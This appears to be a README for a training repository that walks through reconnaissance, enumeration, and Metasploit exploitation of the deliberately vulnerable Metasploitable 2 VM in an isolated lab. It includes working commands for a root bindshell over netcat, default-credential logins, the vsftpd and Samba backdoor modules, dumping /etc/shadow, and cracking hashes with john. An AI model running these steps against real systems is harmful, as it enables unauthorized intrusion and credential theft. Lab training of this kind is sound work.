## https://sploitus.com/exploit?id=D7A0F410-A9F3-5F77-83CA-FD5CF650E9BB
# Pentest Metasploitable 2
Automated reconnaissance, enumeration, vulnerability scanning, and exploitation scripts for Metasploitable 2 in an isolated lab environment.
These scripts are for use against Metasploitable 2 — a deliberately vulnerable VM designed for security training.
⚠️ Never run against production systems or unauthorized targets.
## Prerequisites
- **Kali Linux VM** (attacker) and **Metasploitable 2 VM** (target) on the same isolated network
- Network: Host-Only or custom VMnet with no bridge to LAN/WAN
- Snapshots taken of both VMs before starting
- Tools installed on Kali: nmap, nikto, dirb, metasploit-framework, john, netcat
## Setup
Clone this repo on your Kali VM:
```bash
git clone https://github.com/tdiprima/pentest-metasploitable.git
cd pentest-metasploitable
chmod +x scripts/*.sh
```
Create a results directory (ignored by git):
```bash
mkdir -p results
```
## Step-by-Step Workflow
### Step 0: Confirm Network Isolation
Before anything, verify isolation. From Kali:
```bash
ping -c 1 8.8.8.8
```
This **should fail** (no internet on isolated network). If it succeeds, fix your network config — do not proceed.
Find your Kali IP:
```bash
ip -4 addr show | grep inet
```
Find Metasploitable IP (if unknown):
```bash
sudo nmap -sn 192.168.56.0/24
```
Note both IPs. Replace `TARGET` below with the Metasploitable IP.
---
### Step 1: Reconnaissance
Full port scan with service and OS detection:
```bash
./scripts/01-recon.sh TARGET
```
**After:** Review `results/nmap-full.txt`. Note all open ports and service versions. Expect 20+ open ports.
---
### Step 2: Service Enumeration
Enumerate each discovered service in detail:
```bash
./scripts/02-enumerate.sh TARGET
```
**After:** Review files in `results/enum/`. Build a table of services, versions, and initial observations.
---
### Step 3: Web Application Enumeration
Discover web apps and hidden directories:
```bash
./scripts/03-web-enum.sh TARGET
```
**After:** Open Firefox on Kali and browse to `http://TARGET/`. Explore DVWA (login: `admin`/`password`), Mutillidae, phpMyAdmin, and TWiki. Take notes on visible attack surface.
---
### Step 4: Vulnerability Scanning
Run targeted vulnerability checks:
```bash
./scripts/04-vuln-scan.sh TARGET
```
**After:** Review `results/vuln/`. Cross-reference confirmed vulnerabilities with CVE databases.
---
### Step 5: Quick Wins (Manual Commands)
These are single-command tests. Run them from Kali terminal directly.
**Bindshell on port 1524** (root shell, no exploit needed):
```bash
nc TARGET 1524
```
Type `id` — if you see `uid=0(root)`, you have root. Type `exit` to disconnect.
**VNC with known password:**
```bash
vncviewer TARGET::5900
```
Password is `password`.
**MySQL with no root password:**
```bash
mysql -h TARGET -u root
```
If you get a prompt, run `SHOW DATABASES;` and `SELECT user,password FROM mysql.user;`.
---
### Step 6: Metasploit Exploitation
Start Metasploit (first time, initialize the database):
```bash
sudo msfdb init
msfconsole
```
Edit the `.rc` files in `msf/` — replace `` with the Metasploitable IP and `` with your Kali IP. Then run them:
**vsftpd 2.3.4 backdoor** (start here — classic first exploit):
```
msf6> resource msf/vsftpd-backdoor.rc
```
Or manually in msfconsole:
```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS TARGET
run
```
**After getting a shell:** Run `id`, `whoami`, `cat /etc/shadow`.
**Samba usermap_script** (gives Meterpreter):
```
msf6> resource msf/samba-usermap.rc
```
**Other exploits to try** (same pattern — use/set/run):
| Resource File | Target Service | Port |
|---|---|---|
| `msf/unrealirc-backdoor.rc` | UnrealIRCd 3.2.8.1 | 6667 |
| `msf/distcc-exec.rc` | distccd | 3632 |
| `msf/java-rmi.rc` | Java RMI | 1099 |
| `msf/tomcat-mgr.rc` | Tomcat Manager | 8180 |
---
### Step 7: Post-Exploitation
Once you have a shell on the target, gather system info:
```bash
# From within your shell on the target:
bash scripts/05-post-exploit.sh
```
Or run commands manually:
```bash
cat /etc/shadow
```
Copy hashes back to Kali and crack them:
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```
---
### Step 8: Reporting
Review the assessment report:
```
reports/metasploitable2-assessment.md
```
Add your actual scan results to the appendix sections.
## Repository Structure
```
pentest-metasploitable/
├── README.md # This file
├── .gitignore # Excludes scan output and credentials
├── scripts/
│ ├── 01-recon.sh # Network discovery + full port scan
│ ├── 02-enumerate.sh # Per-service enumeration
│ ├── 03-web-enum.sh # Web app discovery (nikto, dirb)
│ ├── 04-vuln-scan.sh # Nmap vuln scripts
│ └── 05-post-exploit.sh # Data collection from target
├── msf/
│ ├── vsftpd-backdoor.rc # vsftpd 2.3.4 backdoor
│ ├── samba-usermap.rc # Samba usermap_script
│ ├── unrealirc-backdoor.rc
│ ├── distcc-exec.rc
│ ├── java-rmi.rc
│ └── tomcat-mgr.rc
└── reports/
└── metasploitable2-assessment.md
```
## Key Notes
- **LHOST vs RHOSTS:** RHOSTS = target (Metasploitable). LHOST = you (Kali). Most common beginner mistake.
- **If an exploit fails:** Run `show options` and verify RHOSTS/LHOST are correct. That fixes 90% of issues.
- **Save everything:** All scripts write output to `results/` (git-ignored). Keep this for your report appendix.
- **Restore snapshots** after exploitation sessions to reset the target to a clean state.